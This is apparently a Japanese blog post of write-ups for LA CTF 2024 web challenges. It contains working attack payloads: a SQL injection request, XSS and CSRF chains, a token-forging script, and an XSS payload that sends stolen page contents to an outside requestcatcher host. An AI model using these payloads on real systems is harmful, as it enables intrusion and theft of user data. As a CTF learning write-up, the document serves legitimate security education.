はまやんはまやんはまやん

hamayanhamayan's blog

LA CTF 2024 Writeups

https://ctftime.org/event/2102

web/terms-and-conditions

ソースコード無し。
規約が出てくるので是非同意したいのだが「I Accept」ボタンを押そうとすると逃げられる笑
通信から得られるソースコードから取れるかなーと思ったが、analytics.jsが難読化されていた。

「I Accept」ボタンが逃げないように以下のような逃げるためのsetIntervalがあるので消してみる。
Chrome DevToolsのOverridesの機能で上書きして試してみよう。

setInterval(function () {
    const rect = accept.getBoundingClientRect();
    const cx = rect.x + rect.width / 2;
    const cy = rect.y + rect.height / 2;
    const dx = mx - cx;
    const dy = my - cy;
    const d = Math.hypot(dx, dy);
    const mind = Math.max(rect.width, rect.height) + 10;
    const safe = Math.max(rect.width, rect.height) + 25;
    if (d < mind) {
        const diff = mind - d;
        if (d == 0) {
            tx -= diff;
        } else {
            tx -= (dx / d) * diff;
            ty -= (dy / d) * diff;
        }
    } else if (d > safe) {
        const v = 2;
        const offset = Math.hypot(tx, ty);
        const factor = Math.min(v / offset, 1);
        if (offset > 0) {
            tx -= tx * factor;
            ty -= ty * factor;
        }
    }
    accept.style.transform = `translate(${tx}px, ${ty}px)`;
}, 1);

これで押せるようになるが、今後はsilly you... you don't get to disable javascript...と怒られた。
という訳でちゃんとanalytics.jsを解析する必要がありそうだ。

ちゃんと読むのは大分しんどそうな感じなので、フラグが得られそうな分岐が無いか探してみる。
色々breakpointを設定しながらボタンを押してみながら実験すると、以下の部分でアラートが出ていた。

!_0x4eb4e0 || _0x5cb07c[_0x26a3fb[_0x4242a9(0x162)](_0x4d8045, 0x2372 + -0x1f * -0xb3 + -0x3721)](_0x4eb4e0[_0x26a3fb[_0x4242a9(0x198)](_0x4d8045, 0x1d9a + 0x185f + -0x33ee)][_0x26a3fb[_0x4242a9(0x120)](_0x4d8045, -0x1c46 * 0x1 + -0x169d + 0x34e2)], _0x26a3fb[_0x4242a9(0x9f)](_0x26a3fb[_0x4242a9(0xa9)](_0x26a3fb[_0x4242a9(0xf0)](0x252c + 0x22e9 + -0x1 * 0x4809, 0x15d1 + 0x1c89 + -0x172 * 0x22), _0x26a3fb[_0x4242a9(0x1d5)](0x2411 + 0x1ca6 + 0x7e8 * -0x6, -(0x1 * -0xc9e + 0x2a * 0x92 + -0xb55))), _0x26a3fb[_0x4242a9(0x160)](-(0x2 * 0xdc4 + 0x1b5a + -0x1 * 0x36d5), -(-0x1 * 0x647 + -0x1335 + 0x19ff)))) ? _0x5cb07c[_0x26a3fb[_0x4242a9(0x1d0)](_0x4d8045, 0x2661 + -0x14b3 + -0xfa0)](alert, _0x5cb07c[_0x26a3fb[_0x4242a9(0x1c2)](_0x4d8045, -0x6cd + 0xa31 * -0x1 + 0x13 * 0x101)]) : _0x5cb07c[_0x26a3fb[_0x4242a9(0x11c)](_0x4d8045, 0xac3 + -0x1c08 + 0x1353)](alert, _0x5cb07c[_0x26a3fb[_0x4242a9(0x1bb)](_0x4d8045, -0x1c5d + 0x3 * -0xa7 + 0x2048)][_0x26a3fb[_0x4242a9(0x166)](_0x4d8045, -0x1217 + -0xb * -0x307 + 0x5 * -0x2a1)]``[_0x26a3fb[_0x4242a9(0x1bf)](_0x4d8045, -0x26ad + 0x3bd * -0x6 + 0x1 * 0x3f2e)](_0x286792=>String[_0x4d8045(-0x7 * 0x12f + 0xeca * 0x1 + -0x47c) + 'de'](_0x286792[_0x4d8045(-0x1722 * -0x1 + 0x1db2 * -0x1 + 0x892)](-(-0xe4b * 0x1 + 0xeb0 + -0x1 * 0x31) * -(0x102a + 0x22b7 * 0x1 + -0x10ed * 0x3) + (-0x18da * 0x2 + 0x3 * -0x4e2 + 0x10d * 0x59) + (0x27e0 + -0x4 * 0x4b6 + 0xd6b) * -(-0x11 * -0x191 + -0x8c1 + -0x11df)) ^ (-0x1dde * 0x1 + 0xe * 0x18a + 0x1 * 0x854) * -(0x32b * -0x4 + 0x1518 + 0x5 * 0x135) + (-0x677 + -0x10 * 0x11b + -0xee * -0x1a) * -(-0x1 * -0x2271 + -0x1f5 * 0xd + -0x191 * 0x1) + -(-0xc * 0x255 + -0x5b * 0x1f + -0x275f * -0x1) * -(-0x149 * 0xb + 0x2 * 0x1323 + -0x176f * 0x1)))[_0x26a3fb[_0x4242a9(0x1d2)](_0x4d8045, 0xd * 0x1ba + -0x1724 * -0x1 + 0x15c7 * -0x2)]``);

これをよーく見てみると、alertというワードが2つある。
片方は問題のアラートでもう片方はフラグなのではないかと思って境目を探すと、?と:が見える。
つまり、改行を入れると、こんな感じ。

!_0x4eb4e0 || _0x5cb07c[_0x26a3fb[_0x4242a9(0x162)](_0x4d8045, 0x2372 + -0x1f * -0xb3 + -0x3721)](_0x4eb4e0[_0x26a3fb[_0x4242a9(0x198)](_0x4d8045, 0x1d9a + 0x185f + -0x33ee)][_0x26a3fb[_0x4242a9(0x120)](_0x4d8045, -0x1c46 * 0x1 + -0x169d + 0x34e2)], _0x26a3fb[_0x4242a9(0x9f)](_0x26a3fb[_0x4242a9(0xa9)](_0x26a3fb[_0x4242a9(0xf0)](0x252c + 0x22e9 + -0x1 * 0x4809, 0x15d1 + 0x1c89 + -0x172 * 0x22), _0x26a3fb[_0x4242a9(0x1d5)](0x2411 + 0x1ca6 + 0x7e8 * -0x6, -(0x1 * -0xc9e + 0x2a * 0x92 + -0xb55))), _0x26a3fb[_0x4242a9(0x160)](-(0x2 * 0xdc4 + 0x1b5a + -0x1 * 0x36d5), -(-0x1 * 0x647 + -0x1335 + 0x19ff)))) 

? _0x5cb07c[_0x26a3fb[_0x4242a9(0x1d0)](_0x4d8045, 0x2661 + -0x14b3 + -0xfa0)](alert, _0x5cb07c[_0x26a3fb[_0x4242a9(0x1c2)](_0x4d8045, -0x6cd + 0xa31 * -0x1 + 0x13 * 0x101)]) 

: _0x5cb07c[_0x26a3fb[_0x4242a9(0x11c)](_0x4d8045, 0xac3 + -0x1c08 + 0x1353)](alert, _0x5cb07c[_0x26a3fb[_0x4242a9(0x1bb)](_0x4d8045, -0x1c5d + 0x3 * -0xa7 + 0x2048)][_0x26a3fb[_0x4242a9(0x166)](_0x4d8045, -0x1217 + -0xb * -0x307 + 0x5 * -0x2a1)]``[_0x26a3fb[_0x4242a9(0x1bf)](_0x4d8045, -0x26ad + 0x3bd * -0x6 + 0x1 * 0x3f2e)](_0x286792=>String[_0x4d8045(-0x7 * 0x12f + 0xeca * 0x1 + -0x47c) + 'de'](_0x286792[_0x4d8045(-0x1722 * -0x1 + 0x1db2 * -0x1 + 0x892)](-(-0xe4b * 0x1 + 0xeb0 + -0x1 * 0x31) * -(0x102a + 0x22b7 * 0x1 + -0x10ed * 0x3) + (-0x18da * 0x2 + 0x3 * -0x4e2 + 0x10d * 0x59) + (0x27e0 + -0x4 * 0x4b6 + 0xd6b) * -(-0x11 * -0x191 + -0x8c1 + -0x11df)) ^ (-0x1dde * 0x1 + 0xe * 0x18a + 0x1 * 0x854) * -(0x32b * -0x4 + 0x1518 + 0x5 * 0x135) + (-0x677 + -0x10 * 0x11b + -0xee * -0x1a) * -(-0x1 * -0x2271 + -0x1f5 * 0xd + -0x191 * 0x1) + -(-0xc * 0x255 + -0x5b * 0x1f + -0x275f * -0x1) * -(-0x149 * 0xb + 0x2 * 0x1323 + -0x176f * 0x1)))[_0x26a3fb[_0x4242a9(0x1d2)](_0x4d8045, 0xd * 0x1ba + -0x1724 * -0x1 + 0x15c7 * -0x2)]``);

この命令にブレークポイントを置いて止まった状態でConsoleにて?と:の間のコマンドを実行すると先のアラートが出た。
よし、と思い:以降を動かしてみるとフラグが表示される。
自分が解いたときは既に500人以上が解けていたのだが、そんなに解けるようには見えないな…
自分の場合はsilly you... you don't get to disable javascript...と出たが、javascriptを無効化はしていないので、普通は該当処理を消せばフラグが出て終わりなのかもしれない。

web/flaglang

以下のエンドポイントを使ってFlagistanという国の情報が見られればクリア。

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

自分の国情報がcookieに暗号化して格納されており、if (country.deny.includes(userISO)) {によってブラックリストに入っている国だと見れない。
選択可能な国は全てブラックリストに入っているため見れないというのが趣旨。
しかし、cookieに暗号化されている国情報が無い場合の考慮が足りない。
正常系では国情報が無いというパターンは無いのだが、cookieを消せば国情報が無い状態にできて、country.deny.includes(userISO)の検証をパスできるので、それでフラグが得られる。
以下リクエストでフラグ獲得。

GET /view?country=Flagistan HTTP/2
Host: flaglang.chall.lac.tf

web/la housing portal

SQLiteSQL Injectionする問題。
フィルタリングを回避して select flag from flag; が取得できればクリア。
クエリは以下のように構築。

query = """
select * from users where {} LIMIT 25;
""".format(
    " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
)

このprefsがkey-valueの辞書になっていて、
全部で最大6組のkey-valueを指定可能で、keyは10文字以内、valueは50文字以内にする必要がある。
かつ、--/*という文字は使えない。

パズルを頑張ると解ける。
答えから書くと以下を送るとフラグが得られる。

POST /submit HTTP/1.1
Host: localhost:4444
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Connection: close

name=x&guests='%20UNION%20SELECT%201%2c2%2c3%2c4%2cflag%2c&dummy=%20FROM%20flag%20WHERE%20''%3d'

こうすることで、

prefs = {
    'guests': "' UNION SELECT 1,2,3,4,flag,",
    'dummy': " FROM flag WHERE ''='"
}

のように用意されるため、最終的な埋め込みは以下のようになる。

select * from users where guests = '' UNION SELECT 1,2,3,4,flag,' AND dummy = ' FROM flag WHERE ''='' LIMIT 25;

UNION SELECTの6番目をゴミ文字列を置いておくスペースにしている。
文字列制限を何とかするために、2番目のkeyを文字列の中に押し込むことでいい感じにフラグが得られるようにする。

web/new-housing-portal

XSS+CSRFを組み合わせる問題。
CTFのXSS問題ではログイン後直ぐに与えられたサイトを踏ませるので、2分間ルールが発動し、クロスサイトでCSRFできるような状況になっています。
ですが、この前提で今回もやってみるとCSRF出来なかったので、2分間以上経過したCookieを使ってBotが踏んでいるのだと思われます。
よって、ちゃんとsame-siteで、つまり、XSSを使ってCSRFをすることになります。

XSSできるポイントは/finderにあります。
ここのindex.jsを読むと

const $ = q => document.querySelector(q);

$('.search input[name=username]').addEventListener('keydown', (e) => {
  if (e.key === 'Enter') {
    location.search = '?q=' + encodeURIComponent(e.target.value);
  }
});

const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
  (async () => {
    const user = await fetch('/user?q=' + encodeURIComponent(query))
      .then(r => r.json());
    if ('err' in user) {
      $('.err').innerHTML = user.err;
      $('.err').classList.remove('hidden');
      return;
    }
    $('.user input[name=username]').value = user.username;
    $('span.name').innerHTML = user.name;
    $('span.username').innerHTML = user.username;
    $('.user').classList.remove('hidden');
  })();
}

これの$('span.name').innerHTML = user.name;を見ると、innerHTMLに入っているのでuser.nameがうまく差し込めればDOM-based XSSができます。
user.nameの出所を見てみると、const user = await fetch('/user?q=' + encodeURIComponent(query))のようにqueryを元にユーザー検索をして持ってきています。
そして、このクエリはconst params = new URLSearchParams(location.search); const query = params.get('q');のようにクエリストリングから持ってきています。

これを総合すると、予めXSS用のコードをnameに入れておいたユーザーを作成しておき、そのユーザーを/finder?q=[username]のように呼び出すとXSSが発動します。
試してみましょう。

username=evilman2000で、nameに<img src=x onerror=alert(document.domain)>を設定してユーザー作成をしましょう。
この状態でhttps://new-housing-portal.chall.lac.tf/finder/?q=evilman2000を踏むとドメインがアラートで表示されてきます。
XSS出来ていることが分かります。

このXSSを使ってCSRFをします。
管理者のdeepestDarkestSecretが読めればフラグが得られるのですが、POST /finderを使うことでセッション者のdeepestDarkestSecretを指定のユーザーに送ることができます。

app.post('/finder', needsLogin, (req, res) => {
  const username = req.body.username?.trim();

  if (!users.has(username)) {
    res.redirect('/finder?err=' + encodeURIComponent('username does not exist'));
    return;
  }

  users.get(username).invitations.push({
    from: res.locals.user.username,
    deepestDarkestSecret: res.locals.user.deepestDarkestSecret
  });

  res.redirect('/finder?msg=' + encodeURIComponent('invitation sent!'));
});

よって、このエンドポイントをCSRFで踏ませて、自分のユーザー名を指定してやればフラグが得られます。
以下のようなjavascriptコードを実行させます。

document.getElementsByTagName('input').item(1).value='evilman';
document.getElementsByTagName('input').item(2).click();

これはfinder/index.htmlに埋め込まれる前提で書かれたコードで以下のusernameに自分のユーザーを入れて、
submitしているコードになります。

<form name="invite" action="/finder" method="POST">
    <input type="hidden" name="username">
    <input type="submit" value="Invite">
</form>

これを踏ませればいいので、

<img src=x onerror="document.getElementsByTagName('input').item(1).value='evilman';document.getElementsByTagName('input').item(2).click();">

これを実行させればいいです。
ですが、実際に試すとうまくいかず、以下のように応答が遅いエンドポイントを用意する必要がありました。

<img src="https://16d8-2-56-252-122.ngrok-free.app/sleep.jpg">
<img src=x onerror="document.getElementsByTagName('input').item(1).value='evilman';document.getElementsByTagName('input').item(2).click();">

想像ですが、Admin Botが画面を表示するときに普通にpayloadだけを実行させると処理が終わる前に画面描画が完了してBotが終了する場合があるためです。
よって、このように応答をあえて遅延させるエンドポイントを用意したりすることで画面描画完了を送らせて、Botをとどまらせておいて成功させます。
以下のようにSleep用のendpointを作ってngrokで外部公開する形で用意しています。

import http.server
import socketserver
import time

class SleepHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/sleep.jpg':
            time.sleep(3)
        super().do_GET()

with socketserver.TCPServer(("", 10999), SleepHandler) as httpd:
    httpd.serve_forever()

色々工夫をしてフラグが獲得できます。
(余談ですが、XSS経由でのCSRFはもはやCSRFと呼んでいいものか分からないのですがどうでしょう?)
(あと、何故かこの問題のメモだけ人格が違うな)

web/pogn

websocketで作られたピンポンゲームをチートしてフラグを手に入れる問題。
適当に表示させてマウス操作をしないでおくと、自分と相手で自動で打ち返してくれる状態になる。
その状態で適当に待っていると、たまに自分からの返球が乱数によって剛速球となり、
相手のラケットを貫通してフラグがもらえる。
(想定解もwebsocketで速度を剛速球にして、相手のラケットを貫通するものだと思うが、やってない)

web/jason-web-token

独自でjwtっぽい署名機構を作っているサイトが与えられる。
フラグが得られるのは以下の部分。

@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
    userinfo, err = auth.decode_token(token)
    if err:
        resp.status_code = 400
        return {"err": err}
    if userinfo["role"] == "admin":
        return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
    return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}

roleがadminになればフラグが得られるいつものパターン。
トークンの形が特徴的でjwtっぽい何かが使われていて以下のようにtokenを検証している。

def decode_token(token):
    if not token:
        return None, "invalid token: please log in"

    datahex, signature = token.split(".")
    data = bytes.fromhex(datahex).decode()
    userinfo = json.loads(data)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

    if hash_(f"{data}:{salted_secret}") != signature:
        return None, "invalid token: signature did not match data"
    return userinfo, None

色々な可能性を考えるが、どう見ても自前で署名のシステムを作っている所が怪しいので、ここをひたすら深堀したら解けた。
実は、頑張るとどんな入力であってもsalted_secretを一定にすることができる。
利用するのはpythonの以下のような挙動。

>>> import os
>>> secret = int.from_bytes(os.urandom(128), "big")
>>> print(f"{secret}")
169366851128132766372389965099458253700158602032544090429644842704332905730078174559936754517977458988154769860779029210464234296066096016663053114787362628471736374696692796463390624407134042265907081284965972840942901491758298695333810414650351277611675831643603215843927994988468639148236137747173810265637
>>> print(f"{secret+1e10000}")
inf

https://qiita.com/jinbei230525/items/50f21ac49dd321190ea7
ここにあるようにあまりに大きい数値を使うとpythonではinfとなってしまう。
これをうまく利用して salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"] で計算しているsalted_secretをinfにすることでハッシュ計算ができるようにする。
ageを超でかい値にしたuserinfoを作成することで、正しい署名を作り出すことに成功した。
後は、roleをadminにして送り付ければフラグが得られる。
以下、roleがadminのtokenを偽造するスクリプト

import json
import hashlib

hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()

userinfo = {
    'username': 'evilman',
    'age': 1e1000,
    'timestamp': 0,
    'role': 'admin'
}

data = json.dumps(userinfo)
salted_secret = 'inf'
print(data.encode().hex() + "." + hash_(f"{data}:{salted_secret}"))

web/ctf-wiki

Admin BotがあるのでXSSの方向性で考える。
まずはフラグの場所を確認しよう。

@app.post("/flag")
def flag():
    adminpw = os.environ.get("ADMINPW") or "admin"
    if session.get("password") != adminpw:
        return redirect("/login?error=" + urllib.parse.quote_plus("Not the admin."))

    flag = os.environ.get("FLAG") or "lactf{test-flag}"
    return flag, 200

管理者がセッションを持っている状態でPOST /flagをすればフラグが手に入る。
OK.

状況把握

XSSを探す。
templates/view.htmlを見ると<div class="ctfer-info">{{ description | safe }}</div>とあるので、descriptionが怪しい。
GET /view/<pid>で使われていて、DBに入れられたdescriptionがcontent = markdown(description)のように変換されて表示される。
普通にXSSできそう。
requirements.txtからMarkdown==3.5.2とあるので脆弱性情報を一応確認したが、特になかった。

ここで動的に動かしてみる。
descriptionに<img src=x onerror=alert(1)>とやってhttp://localhost:4444/view/c5a103860c32f5e92771f1321f17e3aeみたいに表示するとeditに移動して発現しなかった。
しょうがないので、ログアウトしてhttp://localhost:4444/view/c5a103860c32f5e92771f1321f17e3aeに移動すると無事alertが出てきた。
注目すべきはログアウト状態じゃないとXSSが発生しない所だが、ログアウトしてしまうとセッション有りの状態でPOST /flagしてもフラグがもらえないという所である。

注目すべき点がもう1つあって、セッションを管理しているcookieはLax属性が付いている。
app.config["SESSION_COOKIE_SAMESITE"] = "Lax"
よって、外部からPOST /flagしてもcookieは送られないのでダメ。

さて、ここからが本番で何とかしてこの状況をかいくぐりながらPOST /flagの内容をcookie有りの状態で持って来る必要がある。

cookieを保持しながらXSSを達成する

ログアウト状態じゃないとXSSが発生しないのだが、cookieを保持しながらXSSを引き起こす方法はないだろうか。
これにはLax属性が付いていることを利用する。
Lax属性が付いているので、呼び方によってはcookieを送らずにリクエストを飛ばすことができそう。
色々やるとiframeを使うとcookieが送られずXSSが来た。

<iframe src="https://ctf-wiki.chall.lac.tf/view/5f1b126e2bfc3abd4b3cf862715dd1da" width="400" height="400"></iframe>

単純にこういうページを用意して踏ませる。
<img src=x onerror=alert(document.domain)>が動いて、ちゃんとクロスサイトでjavascriptが動いていることが確認できる。ok.

cookie有りの状態でPOST /flagする

次はPOST /flagする必要がある。
さっきのテクニックとformタグを使って以下のように自動でPOST /flagしてみたが、cookieが送られずダメだった。

<form id=form action=/flag method=post><button>submit</button></form><img src=x onerror=form.submit()>

うーん…と思いながら新しいウインドウを使ってみると、何故かcookieが送られてフラグが表示された。

<form id=form action=/flag method=post target=flag><button>submit</button></form><img src=x onerror=form.submit()>

どういう理屈でこの差が生まれているのかよく分からないが、とりあえずPOST /flagの結果を用意することができた。

POST /flagの結果を取り出してくる

これでflagという名前のウインドウにフラグを表示させることができた。
同じオリジンであれば、このウインドウの内容を取得して外部送信できるので、ここからはもう一度普通にXSSする。
ここは普通にログアウトして、XSSを仕込んだviewを表示させることでXSSした。
同様にiframeでも行ける気もする。

最終payload

まず、適当にログインして、それぞれ以下のようにdescriptionをつけて、2つ投稿する。

<form id=form action=/flag method=post target=flag><button>submit</button></form><img src=x onerror=form.submit()>

flagウインドウにPOST /flagを表示させるためのpayload.
5f1b126e2bfc3abd4b3cf862715dd1daというIDだったとする。

<img src=x onerror=navigator.sendBeacon('https://[yours].requestcatcher.com/get',window.open('','flag').document.body.innerHTML)>

flagウインドウの内容を持ってきて外部送信するためのpayload.
557497eedd0d924d130dc5d2a1955fbbというIDだったとする。

これらのIDを組み込んで以下のようなhtmlを作成し、botに踏ませるとrequestcatcherにフラグが送られてくる。

<!-- 1. Kick XSS via iframe and POST /flag -->
<iframe src="https://ctf-wiki.chall.lac.tf/view/5f1b126e2bfc3abd4b3cf862715dd1da" width="400" height="400"></iframe>

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    const send = data => fetch('https://[yours].requestcatcher.com/log?'+data)
    setTimeout(async () => {
        send("phase1");

        await sleep(1000);

        // 2. GET /logout
        send("phase2");
        open('https://ctf-wiki.chall.lac.tf/logout', 'logout');

        await sleep(1000);

        // 3. Kick XSS
        send("phase3");
        open('https://ctf-wiki.chall.lac.tf/view/557497eedd0d924d130dc5d2a1955fbb', 'xss');
    }, 0)
</script>